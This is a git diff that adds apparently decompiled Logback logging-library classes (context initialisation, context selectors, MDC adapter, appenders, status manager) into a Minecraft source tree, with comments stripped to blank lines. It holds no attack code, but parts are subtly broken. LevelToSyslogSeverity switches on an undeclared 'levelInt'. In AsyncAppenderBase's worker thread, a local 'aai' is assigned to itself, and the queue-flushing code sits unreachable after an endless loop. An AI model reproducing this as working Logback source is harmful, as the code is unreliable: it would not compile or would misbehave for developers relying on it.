+        sm.add(new ErrorStatus("Groovy classes are not available on the class path. ABORTING INITIALIZATION.", loggerContext));
+      }
+    }
+    else if (urlString.endsWith("xml")) {
+      JoranConfigurator configurator = new JoranConfigurator();
+      configurator.setContext(loggerContext);
+      configurator.doConfigure(url);
+    } else {
+      throw new LogbackException("Unexpected filename extension of file [" + url.toString() + "]. Should be either .groovy or .xml");
+    }
+  }
+  
+  void joranConfigureByResource(URL url) throws JoranException {
+    JoranConfigurator configurator = new JoranConfigurator();
+    configurator.setContext(loggerContext);
+    configurator.doConfigure(url);
+  }
+  
+  private URL findConfigFileURLFromSystemProperties(ClassLoader classLoader, boolean updateStatus) {
+    String logbackConfigFile = OptionHelper.getSystemProperty("logback.configurationFile");
+    if (logbackConfigFile != null) {
+      URL result = null;
+      try {
+        result = new URL(logbackConfigFile);
+        return result;
+      }
+      catch (MalformedURLException e)
+      {
+        result = Loader.getResource(logbackConfigFile, classLoader);
+        if (result != null) {
+          return result;
+        }
+        File f = new File(logbackConfigFile);
+        if ((f.exists()) && (f.isFile())) {
+          try {
+            result = f.toURI().toURL();
+            return result;
+          }
+          catch (MalformedURLException e1) {}
+        }
+      } finally {
+        if (updateStatus) {
+          statusOnResourceSearch(logbackConfigFile, classLoader, result);
+        }
+      }
+    }
+    return null;
+  }
+  
+  public URL findURLOfDefaultConfigurationFile(boolean updateStatus) {
+    ClassLoader myClassLoader = Loader.getClassLoaderOfObject(this);
+    URL url = findConfigFileURLFromSystemProperties(myClassLoader, updateStatus);
+    if (url != null) {
+      return url;
+    }
+    
+    url = getResource("logback.groovy", myClassLoader, updateStatus);
+    if (url != null) {
+      return url;
+    }
+    
+    url = getResource("logback-test.xml", myClassLoader, updateStatus);
+    if (url != null) {
+      return url;
+    }
+    
+    return getResource("logback.xml", myClassLoader, updateStatus);
+  }
+  
+  private URL getResource(String filename, ClassLoader myClassLoader, boolean updateStatus) {
+    URL url = Loader.getResource(filename, myClassLoader);
+    if (updateStatus) {
+      statusOnResourceSearch(filename, myClassLoader, url);
+    }
+    return url;
+  }
+  
+  public void autoConfig() throws JoranException {
+    StatusListenerConfigHelper.installIfAsked(loggerContext);
+    URL url = findURLOfDefaultConfigurationFile(true);
+    if (url != null) {
+      configureByResource(url);
+    } else {
+      Configurator c = (Configurator)EnvUtil.loadFromServiceLoader(Configurator.class);
+      if (c != null) {
+        try {
+          c.setContext(loggerContext);
+          c.configure(loggerContext);
+        } catch (Exception e) {
+          throw new LogbackException(String.format("Failed to initialize Configurator: %s using ServiceLoader", new Object[] { c != null ? c.getClass().getCanonicalName() : "null" }), e);
+        }
+        
+      } else {
+        BasicConfigurator.configure(loggerContext);
+      }
+    }
+  }
+  
+  private void multiplicityWarning(String resourceName, ClassLoader classLoader) {
+    Set<URL> urlSet = null;
+    StatusManager sm = loggerContext.getStatusManager();
+    try {
+      urlSet = Loader.getResourceOccurrenceCount(resourceName, classLoader);
+    } catch (IOException e) {
+      sm.add(new ErrorStatus("Failed to get url list for resource [" + resourceName + "]", loggerContext, e));
+    }
+    
+    if ((urlSet != null) && (urlSet.size() > 1)) {
+      sm.add(new WarnStatus("Resource [" + resourceName + "] occurs multiple times on the classpath.", loggerContext));
+      
+      for (URL url : urlSet) {
+        sm.add(new WarnStatus("Resource [" + resourceName + "] occurs at [" + url.toString() + "]", loggerContext));
+      }
+    }
+  }
+  
+  private void statusOnResourceSearch(String resourceName, ClassLoader classLoader, URL url)
+  {
+    StatusManager sm = loggerContext.getStatusManager();
+    if (url == null) {
+      sm.add(new InfoStatus("Could NOT find resource [" + resourceName + "]", loggerContext));
+    }
+    else {
+      sm.add(new InfoStatus("Found resource [" + resourceName + "] at [" + url.toString() + "]", loggerContext));
+      
+      multiplicityWarning(resourceName, classLoader);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/ContextSelectorStaticBinder.java b/src/minecraft/ch/qos/logback/classic/util/ContextSelectorStaticBinder.java
new file mode 100644
index 0000000..fb9b012
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/ContextSelectorStaticBinder.java
@@ -0,0 +1,106 @@
+package ch.qos.logback.classic.util;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.selector.ContextJNDISelector;
+import ch.qos.logback.classic.selector.ContextSelector;
+import ch.qos.logback.classic.selector.DefaultContextSelector;
+import ch.qos.logback.core.util.Loader;
+import ch.qos.logback.core.util.OptionHelper;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextSelectorStaticBinder
+{
+  static ContextSelectorStaticBinder singleton = new ContextSelectorStaticBinder();
+  ContextSelector contextSelector;
+  Object key;
+  
+  public ContextSelectorStaticBinder() {}
+  
+  public static ContextSelectorStaticBinder getSingleton() { return singleton; }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void init(LoggerContext defaultLoggerContext, Object key)
+    throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException
+  {
+    if (this.key == null) {
+      this.key = key;
+    } else if (this.key != key) {
+      throw new IllegalAccessException("Only certain classes can access this method.");
+    }
+    
+
+    String contextSelectorStr = OptionHelper.getSystemProperty("logback.ContextSelector");
+    
+    if (contextSelectorStr == null) {
+      contextSelector = new DefaultContextSelector(defaultLoggerContext);
+    } else if (contextSelectorStr.equals("JNDI"))
+    {
+      contextSelector = new ContextJNDISelector(defaultLoggerContext);
+    } else {
+      contextSelector = dynamicalContextSelector(defaultLoggerContext, contextSelectorStr);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static ContextSelector dynamicalContextSelector(LoggerContext defaultLoggerContext, String contextSelectorStr)
+    throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException
+  {
+    Class<?> contextSelectorClass = Loader.loadClass(contextSelectorStr);
+    Constructor cons = contextSelectorClass.getConstructor(new Class[] { LoggerContext.class });
+    
+    return (ContextSelector)cons.newInstance(new Object[] { defaultLoggerContext });
+  }
+  
+  public ContextSelector getContextSelector() {
+    return contextSelector;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/CopyOnInheritThreadLocal.java b/src/minecraft/ch/qos/logback/classic/util/CopyOnInheritThreadLocal.java
new file mode 100644
index 0000000..ef8c11e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/CopyOnInheritThreadLocal.java
@@ -0,0 +1,38 @@
+package ch.qos.logback.classic.util;
+
+import java.util.HashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CopyOnInheritThreadLocal
+  extends InheritableThreadLocal<HashMap<String, String>>
+{
+  public CopyOnInheritThreadLocal() {}
+  
+  protected HashMap<String, String> childValue(HashMap<String, String> parentValue)
+  {
+    if (parentValue == null) {
+      return null;
+    }
+    return new HashMap(parentValue);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/DefaultNestedComponentRules.java b/src/minecraft/ch/qos/logback/classic/util/DefaultNestedComponentRules.java
new file mode 100644
index 0000000..2285de2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/DefaultNestedComponentRules.java
@@ -0,0 +1,47 @@
+package ch.qos.logback.classic.util;
+
+import ch.qos.logback.classic.PatternLayout;
+import ch.qos.logback.classic.boolex.JaninoEventEvaluator;
+import ch.qos.logback.classic.encoder.PatternLayoutEncoder;
+import ch.qos.logback.core.AppenderBase;
+import ch.qos.logback.core.UnsynchronizedAppenderBase;
+import ch.qos.logback.core.filter.EvaluatorFilter;
+import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry;
+import ch.qos.logback.core.net.ssl.SSLNestedComponentRegistryRules;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultNestedComponentRules
+{
+  public DefaultNestedComponentRules() {}
+  
+  public static void addDefaultNestedComponentRegistryRules(DefaultNestedComponentRegistry registry)
+  {
+    registry.add(AppenderBase.class, "layout", PatternLayout.class);
+    registry.add(UnsynchronizedAppenderBase.class, "layout", PatternLayout.class);
+    
+    registry.add(AppenderBase.class, "encoder", PatternLayoutEncoder.class);
+    registry.add(UnsynchronizedAppenderBase.class, "encoder", PatternLayoutEncoder.class);
+    
+    registry.add(EvaluatorFilter.class, "evaluator", JaninoEventEvaluator.class);
+    
+
+    SSLNestedComponentRegistryRules.addDefaultNestedComponentRegistryRules(registry);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/EnvUtil.java b/src/minecraft/ch/qos/logback/classic/util/EnvUtil.java
new file mode 100644
index 0000000..347fc48
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/EnvUtil.java
@@ -0,0 +1,99 @@
+package ch.qos.logback.classic.util;
+
+import ch.qos.logback.core.util.Loader;
+import java.lang.reflect.Method;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EnvUtil
+{
+  static ClassLoader testServiceLoaderClassLoader = null;
+  private static final Method serviceLoaderLoadMethod;
+  
+  public static boolean isGroovyAvailable() { ClassLoader classLoader = Loader.getClassLoaderOfClass(EnvUtil.class);
+    try {
+      Class<?> bindingClass = classLoader.loadClass("groovy.lang.Binding");
+      return bindingClass != null;
+    } catch (ClassNotFoundException e) {}
+    return false;
+  }
+  
+
+
+
+  private static final Method serviceLoaderIteratorMethod;
+  
+
+
+  static
+  {
+    Method tLoadMethod = null;
+    Method tIteratorMethod = null;
+    try {
+      Class<?> clazz = Class.forName("java.util.ServiceLoader");
+      tLoadMethod = clazz.getMethod("load", new Class[] { Class.class, ClassLoader.class });
+      tIteratorMethod = clazz.getMethod("iterator", new Class[0]);
+    }
+    catch (ClassNotFoundException ce) {}catch (NoSuchMethodException ne) {}
+    
+
+
+    serviceLoaderLoadMethod = tLoadMethod;
+    serviceLoaderIteratorMethod = tIteratorMethod;
+  }
+  
+  public static boolean isServiceLoaderAvailable() {
+    return (serviceLoaderLoadMethod != null) && (serviceLoaderIteratorMethod != null);
+  }
+  
+  private static ClassLoader getServiceLoaderClassLoader() {
+    return testServiceLoaderClassLoader == null ? Loader.getClassLoaderOfClass(EnvUtil.class) : testServiceLoaderClassLoader;
+  }
+  
+  public static <T> T loadFromServiceLoader(Class<T> c)
+  {
+    if (isServiceLoaderAvailable()) {
+      Object loader;
+      try {
+        loader = serviceLoaderLoadMethod.invoke(null, new Object[] { c, getServiceLoaderClassLoader() });
+      } catch (Exception e) {
+        throw new IllegalStateException("Cannot invoke java.util.ServiceLoader#load()", e);
+      }
+      Iterator<T> it;
+      try
+      {
+        it = (Iterator)serviceLoaderIteratorMethod.invoke(loader, new Object[0]);
+      } catch (Exception e) {
+        throw new IllegalStateException("Cannot invoke java.util.ServiceLoader#iterator()", e);
+      }
+      if (it.hasNext())
+        return it.next();
+    }
+    return null;
+  }
+  
+  public EnvUtil() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/JNDIUtil.java b/src/minecraft/ch/qos/logback/classic/util/JNDIUtil.java
new file mode 100644
index 0000000..4cd0525
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/JNDIUtil.java
@@ -0,0 +1,43 @@
+package ch.qos.logback.classic.util;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.naming.NamingException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JNDIUtil
+{
+  public JNDIUtil() {}
+  
+  public static Context getInitialContext()
+    throws NamingException
+  {
+    return new InitialContext();
+  }
+  
+  public static String lookup(Context ctx, String name) {
+    if (ctx == null) {
+      return null;
+    }
+    try {
+      Object lookup = ctx.lookup(name);
+      return lookup == null ? null : lookup.toString();
+    } catch (NamingException e) {}
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/LevelToSyslogSeverity.java b/src/minecraft/ch/qos/logback/classic/util/LevelToSyslogSeverity.java
new file mode 100644
index 0000000..e72a31f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/LevelToSyslogSeverity.java
@@ -0,0 +1,44 @@
+package ch.qos.logback.classic.util;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LevelToSyslogSeverity
+{
+  public LevelToSyslogSeverity() {}
+  
+  public static int convert(ILoggingEvent event)
+  {
+    Level level = event.getLevel();
+    
+    switch (levelInt) {
+    case 40000: 
+      return 3;
+    case 30000: 
+      return 4;
+    case 20000: 
+      return 6;
+    case 5000: 
+    case 10000: 
+      return 7;
+    }
+    throw new IllegalArgumentException("Level " + level + " is not a valid level for a printing method");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/LogbackMDCAdapter.java b/src/minecraft/ch/qos/logback/classic/util/LogbackMDCAdapter.java
new file mode 100644
index 0000000..063be3e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/LogbackMDCAdapter.java
@@ -0,0 +1,203 @@
+package ch.qos.logback.classic.util;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LogbackMDCAdapter
+  implements MDCAdapter
+{
+  final InheritableThreadLocal<Map<String, String>> copyOnInheritThreadLocal = new InheritableThreadLocal();
+  private static final int WRITE_OPERATION = 1;
+  private static final int READ_OPERATION = 2;
+  
+  public LogbackMDCAdapter() {}
+  
+  final ThreadLocal<Integer> lastOperation = new ThreadLocal();
+  
+  private Integer getAndSetLastOperation(int op) {
+    Integer lastOp = (Integer)lastOperation.get();
+    lastOperation.set(Integer.valueOf(op));
+    return lastOp;
+  }
+  
+  private boolean wasLastOpReadOrNull(Integer lastOp) {
+    return (lastOp == null) || (lastOp.intValue() == 2);
+  }
+  
+  private Map<String, String> duplicateAndInsertNewMap(Map<String, String> oldMap) {
+    Map<String, String> newMap = Collections.synchronizedMap(new HashMap());
+    if (oldMap != null)
+    {
+
+      synchronized (oldMap) {
+        newMap.putAll(oldMap);
+      }
+    }
+    
+    copyOnInheritThreadLocal.set(newMap);
+    return newMap;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void put(String key, String val)
+    throws IllegalArgumentException
+  {
+    if (key == null) {
+      throw new IllegalArgumentException("key cannot be null");
+    }
+    
+    Map<String, String> oldMap = (Map)copyOnInheritThreadLocal.get();
+    Integer lastOp = getAndSetLastOperation(1);
+    
+    if ((wasLastOpReadOrNull(lastOp)) || (oldMap == null)) {
+      Map<String, String> newMap = duplicateAndInsertNewMap(oldMap);
+      newMap.put(key, val);
+    } else {
+      oldMap.put(key, val);
+    }
+  }
+  
+
+
+
+  public void remove(String key)
+  {
+    if (key == null) {
+      return;
+    }
+    Map<String, String> oldMap = (Map)copyOnInheritThreadLocal.get();
+    if (oldMap == null) { return;
+    }
+    Integer lastOp = getAndSetLastOperation(1);
+    
+    if (wasLastOpReadOrNull(lastOp)) {
+      Map<String, String> newMap = duplicateAndInsertNewMap(oldMap);
+      newMap.remove(key);
+    } else {
+      oldMap.remove(key);
+    }
+  }
+  
+
+
+
+  public void clear()
+  {
+    lastOperation.set(Integer.valueOf(1));
+    copyOnInheritThreadLocal.remove();
+  }
+  
+
+
+
+  public String get(String key)
+  {
+    Map<String, String> map = getPropertyMap();
+    if ((map != null) && (key != null)) {
+      return (String)map.get(key);
+    }
+    return null;
+  }
+  
+
+
+
+
+  public Map<String, String> getPropertyMap()
+  {
+    lastOperation.set(Integer.valueOf(2));
+    return (Map)copyOnInheritThreadLocal.get();
+  }
+  
+
+
+
+  public Set<String> getKeys()
+  {
+    Map<String, String> map = getPropertyMap();
+    
+    if (map != null) {
+      return map.keySet();
+    }
+    return null;
+  }
+  
+
+
+
+
+  public Map getCopyOfContextMap()
+  {
+    lastOperation.set(Integer.valueOf(2));
+    Map<String, String> hashMap = (Map)copyOnInheritThreadLocal.get();
+    if (hashMap == null) {
+      return null;
+    }
+    return new HashMap(hashMap);
+  }
+  
+
+  public void setContextMap(Map contextMap)
+  {
+    lastOperation.set(Integer.valueOf(1));
+    
+    Map<String, String> newMap = Collections.synchronizedMap(new HashMap());
+    newMap.putAll(contextMap);
+    
+
+    copyOnInheritThreadLocal.set(newMap);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/LoggerNameUtil.java b/src/minecraft/ch/qos/logback/classic/util/LoggerNameUtil.java
new file mode 100644
index 0000000..09d73fa
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/LoggerNameUtil.java
@@ -0,0 +1,65 @@
+package ch.qos.logback.classic.util;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerNameUtil
+{
+  public LoggerNameUtil() {}
+  
+  public static int getFirstSeparatorIndexOf(String name)
+  {
+    return getSeparatorIndexOf(name, 0);
+  }
+  
+
+
+
+
+
+
+
+  public static int getSeparatorIndexOf(String name, int fromIndex)
+  {
+    int dotIndex = name.indexOf('.', fromIndex);
+    int dollarIndex = name.indexOf('$', fromIndex);
+    
+    if ((dotIndex == -1) && (dollarIndex == -1)) return -1;
+    if (dotIndex == -1) return dollarIndex;
+    if (dollarIndex == -1) { return dotIndex;
+    }
+    return dotIndex < dollarIndex ? dotIndex : dollarIndex;
+  }
+  
+  public static List<String> computeNameParts(String loggerName) {
+    List<String> partList = new ArrayList();
+    
+    int fromIndex = 0;
+    for (;;) {
+      int index = getSeparatorIndexOf(loggerName, fromIndex);
+      if (index == -1) {
+        partList.add(loggerName.substring(fromIndex));
+        break;
+      }
+      partList.add(loggerName.substring(fromIndex, index));
+      fromIndex = index + 1;
+    }
+    return partList;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/StatusListenerConfigHelper.java b/src/minecraft/ch/qos/logback/classic/util/StatusListenerConfigHelper.java
new file mode 100644
index 0000000..c3cbee2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/StatusListenerConfigHelper.java
@@ -0,0 +1,63 @@
+package ch.qos.logback.classic.util;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.status.OnConsoleStatusListener;
+import ch.qos.logback.core.status.StatusListener;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.util.OptionHelper;
+
+
+
+
+
+
+
+
+
+
+public class StatusListenerConfigHelper
+{
+  public StatusListenerConfigHelper() {}
+  
+  static void installIfAsked(LoggerContext loggerContext)
+  {
+    String slClass = OptionHelper.getSystemProperty("logback.statusListenerClass");
+    
+    if (!OptionHelper.isEmpty(slClass)) {
+      addStatusListener(loggerContext, slClass);
+    }
+  }
+  
+  private static void addStatusListener(LoggerContext loggerContext, String listenerClass)
+  {
+    StatusListener listener = null;
+    if ("SYSOUT".equalsIgnoreCase(listenerClass)) {
+      listener = new OnConsoleStatusListener();
+    } else {
+      listener = createListenerPerClassName(loggerContext, listenerClass);
+    }
+    initAndAddListener(loggerContext, listener);
+  }
+  
+  private static void initAndAddListener(LoggerContext loggerContext, StatusListener listener) {
+    if (listener != null) {
+      if ((listener instanceof ContextAware))
+        ((ContextAware)listener).setContext(loggerContext);
+      if ((listener instanceof LifeCycle))
+        ((LifeCycle)listener).start();
+      loggerContext.getStatusManager().add(listener);
+    }
+  }
+  
+  private static StatusListener createListenerPerClassName(LoggerContext loggerContext, String listenerClass) {
+    try {
+      return (StatusListener)OptionHelper.instantiateByClassName(listenerClass, StatusListener.class, loggerContext);
+    }
+    catch (Exception e)
+    {
+      e.printStackTrace(); }
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/Appender.java b/src/minecraft/ch/qos/logback/core/Appender.java
new file mode 100644
index 0000000..fd9b0e7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/Appender.java
@@ -0,0 +1,16 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.FilterAttachable;
+import ch.qos.logback.core.spi.LifeCycle;
+
+public abstract interface Appender<E>
+  extends LifeCycle, ContextAware, FilterAttachable<E>
+{
+  public abstract String getName();
+  
+  public abstract void doAppend(E paramE)
+    throws LogbackException;
+  
+  public abstract void setName(String paramString);
+}
diff --git a/src/minecraft/ch/qos/logback/core/AppenderBase.java b/src/minecraft/ch/qos/logback/core/AppenderBase.java
new file mode 100644
index 0000000..82339ef
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/AppenderBase.java
@@ -0,0 +1,136 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.filter.Filter;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.FilterAttachableImpl;
+import ch.qos.logback.core.spi.FilterReply;
+import ch.qos.logback.core.status.WarnStatus;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AppenderBase<E>
+  extends ContextAwareBase
+  implements Appender<E>
+{
+  protected volatile boolean started = false;
+  
+
+  public AppenderBase() {}
+  
+
+  private boolean guard = false;
+  
+
+
+  protected String name;
+  
+
+  private FilterAttachableImpl<E> fai = new FilterAttachableImpl();
+  
+  public String getName() {
+    return name; }
+  
+
+  private int statusRepeatCount = 0;
+  private int exceptionCount = 0;
+  
+
+  static final int ALLOWED_REPEATS = 5;
+  
+
+
+  public synchronized void doAppend(E eventObject)
+  {
+    if (guard) {
+      return;
+    }
+    try
+    {
+      guard = true;
+      
+      if (!started) {
+        if (statusRepeatCount++ < 5) {
+          addStatus(new WarnStatus("Attempted to append to non started appender [" + name + "].", this));
+        }
+        
+
+      }
+      else
+      {
+        if (getFilterChainDecision(eventObject) == FilterReply.DENY) {
+          return;
+        }
+        
+
+        append(eventObject);
+      }
+    } catch (Exception e) {
+      if (exceptionCount++ < 5) {
+        addError("Appender [" + name + "] failed to append.", e);
+      }
+    } finally {
+      guard = false;
+    }
+  }
+  
+
+  protected abstract void append(E paramE);
+  
+
+  public void setName(String name)
+  {
+    this.name = name;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public String toString() {
+    return getClass().getName() + "[" + name + "]";
+  }
+  
+  public void addFilter(Filter<E> newFilter) {
+    fai.addFilter(newFilter);
+  }
+  
+  public void clearAllFilters() {
+    fai.clearAllFilters();
+  }
+  
+  public List<Filter<E>> getCopyOfAttachedFiltersList() {
+    return fai.getCopyOfAttachedFiltersList();
+  }
+  
+  public FilterReply getFilterChainDecision(E event) {
+    return fai.getFilterChainDecision(event);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/AsyncAppenderBase.java b/src/minecraft/ch/qos/logback/core/AsyncAppenderBase.java
new file mode 100644
index 0000000..b2d0659
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/AsyncAppenderBase.java
@@ -0,0 +1,268 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.AppenderAttachable;
+import ch.qos.logback.core.spi.AppenderAttachableImpl;
+import java.util.Iterator;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AsyncAppenderBase<E>
+  extends UnsynchronizedAppenderBase<E>
+  implements AppenderAttachable<E>
+{
+  AppenderAttachableImpl<E> aai;
+  BlockingQueue<E> blockingQueue;
+  public static final int DEFAULT_QUEUE_SIZE = 256;
+  int queueSize;
+  int appenderCount;
+  static final int UNDEFINED = -1;
+  int discardingThreshold;
+  AsyncAppenderBase<E>.Worker worker;
+  public static final int DEFAULT_MAX_FLUSH_TIME = 1000;
+  int maxFlushTime;
+  
+  public AsyncAppenderBase()
+  {
+    aai = new AppenderAttachableImpl();
+    
+
+
+
+
+
+    queueSize = 256;
+    
+    appenderCount = 0;
+    
+
+    discardingThreshold = -1;
+    
+    worker = new Worker();
+    
+
+
+
+
+
+
+    maxFlushTime = 1000;
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean isDiscardable(E eventObject)
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  protected void preprocess(E eventObject) {}
+  
+
+
+
+
+  public void start()
+  {
+    if (appenderCount == 0) {
+      addError("No attached appenders found.");
+      return;
+    }
+    if (queueSize < 1) {
+      addError("Invalid queue size [" + queueSize + "]");
+      return;
+    }
+    blockingQueue = new ArrayBlockingQueue(queueSize);
+    
+    if (discardingThreshold == -1)
+      discardingThreshold = (queueSize / 5);
+    addInfo("Setting discardingThreshold to " + discardingThreshold);
+    worker.setDaemon(true);
+    worker.setName("AsyncAppender-Worker-" + getName());
+    
+    super.start();
+    worker.start();
+  }
+  
+  public void stop()
+  {
+    if (!isStarted()) {
+      return;
+    }
+    
+
+    super.stop();
+    
+
+
+    worker.interrupt();
+    try {
+      worker.join(maxFlushTime);
+      
+
+      if (worker.isAlive()) {
+        addWarn("Max queue flush timeout (" + maxFlushTime + " ms) exceeded. Approximately " + blockingQueue.size() + " queued events were possibly discarded.");
+      }
+      else {
+        addInfo("Queue flush finished successfully within timeout.");
+      }
+    }
+    catch (InterruptedException e) {
+      addError("Failed to join worker thread. " + blockingQueue.size() + " queued events may be discarded.", e);
+    }
+  }
+  
+
+  protected void append(E eventObject)
+  {
+    if ((isQueueBelowDiscardingThreshold()) && (isDiscardable(eventObject))) {
+      return;
+    }
+    preprocess(eventObject);
+    put(eventObject);
+  }
+  
+  private boolean isQueueBelowDiscardingThreshold() {
+    return blockingQueue.remainingCapacity() < discardingThreshold;
+  }
+  
+  private void put(E eventObject) {
+    try {
+      blockingQueue.put(eventObject);
+    }
+    catch (InterruptedException e) {}
+  }
+  
+  public int getQueueSize() {
+    return queueSize;
+  }
+  
+  public void setQueueSize(int queueSize) {
+    this.queueSize = queueSize;
+  }
+  
+  public int getDiscardingThreshold() {
+    return discardingThreshold;
+  }
+  
+  public void setDiscardingThreshold(int discardingThreshold) {
+    this.discardingThreshold = discardingThreshold;
+  }
+  
+  public int getMaxFlushTime() {
+    return maxFlushTime;
+  }
+  
+  public void setMaxFlushTime(int maxFlushTime) {
+    this.maxFlushTime = maxFlushTime;
+  }
+  
+
+
+
+
+  public int getNumberOfElementsInQueue()
+  {
+    return blockingQueue.size();
+  }
+  
+
+
+
+
+
+  public int getRemainingCapacity()
+  {
+    return blockingQueue.remainingCapacity();
+  }
+  
+
+  public void addAppender(Appender<E> newAppender)
+  {
+    if (appenderCount == 0) {
+      appenderCount += 1;
+      addInfo("Attaching appender named [" + newAppender.getName() + "] to AsyncAppender.");
+      aai.addAppender(newAppender);
+    } else {
+      addWarn("One and only one appender may be attached to AsyncAppender.");
+      addWarn("Ignoring additional appender named [" + newAppender.getName() + "]");
+    }
+  }
+  
+  public Iterator<Appender<E>> iteratorForAppenders() {
+    return aai.iteratorForAppenders();
+  }
+  
+  public Appender<E> getAppender(String name) {
+    return aai.getAppender(name);
+  }
+  
+  public boolean isAttached(Appender<E> eAppender) {
+    return aai.isAttached(eAppender);
+  }
+  
+  public void detachAndStopAllAppenders() {
+    aai.detachAndStopAllAppenders();
+  }
+  
+  public boolean detachAppender(Appender<E> eAppender) {
+    return aai.detachAppender(eAppender);
+  }
+  
+
+  public boolean detachAppender(String name) { return aai.detachAppender(name); }
+  
+  class Worker extends Thread {
+    Worker() {}
+    
+    public void run() {
+      AsyncAppenderBase<E> parent = AsyncAppenderBase.this;
+      AppenderAttachableImpl<E> aai = aai;
+      for (;;)
+      {
+        if (parent.isStarted()) {
+          try {
+            E e = blockingQueue.take();
+            aai.appendLoopOnAppenders(e);
+          }
+          catch (InterruptedException ie) {}
+        }
+      }
+      
+      addInfo("Worker thread will flush remaining events before exiting. ");
+      
+      for (E e : blockingQueue) {
+        aai.appendLoopOnAppenders(e);
+        blockingQueue.remove(e);
+      }
+      
+
+      aai.detachAndStopAllAppenders();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/BasicStatusManager.java b/src/minecraft/ch/qos/logback/core/BasicStatusManager.java
new file mode 100644
index 0000000..0070ef5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/BasicStatusManager.java
@@ -0,0 +1,144 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.helpers.CyclicBuffer;
+import ch.qos.logback.core.spi.LogbackLock;
+import ch.qos.logback.core.status.OnConsoleStatusListener;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.StatusListener;
+import ch.qos.logback.core.status.StatusManager;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicStatusManager
+  implements StatusManager
+{
+  public static final int MAX_HEADER_COUNT = 150;
+  public static final int TAIL_SIZE = 150;
+  int count = 0;
+  
+
+  protected final List<Status> statusList = new ArrayList();
+  protected final CyclicBuffer<Status> tailBuffer = new CyclicBuffer(150);
+  
+  protected final LogbackLock statusListLock = new LogbackLock();
+  
+  int level = 0;
+  
+
+  protected final List<StatusListener> statusListenerList = new ArrayList();
+  protected final LogbackLock statusListenerListLock = new LogbackLock();
+  
+
+
+
+
+
+
+  public BasicStatusManager() {}
+  
+
+
+
+
+
+  public void add(Status newStatus)
+  {
+    fireStatusAddEvent(newStatus);
+    
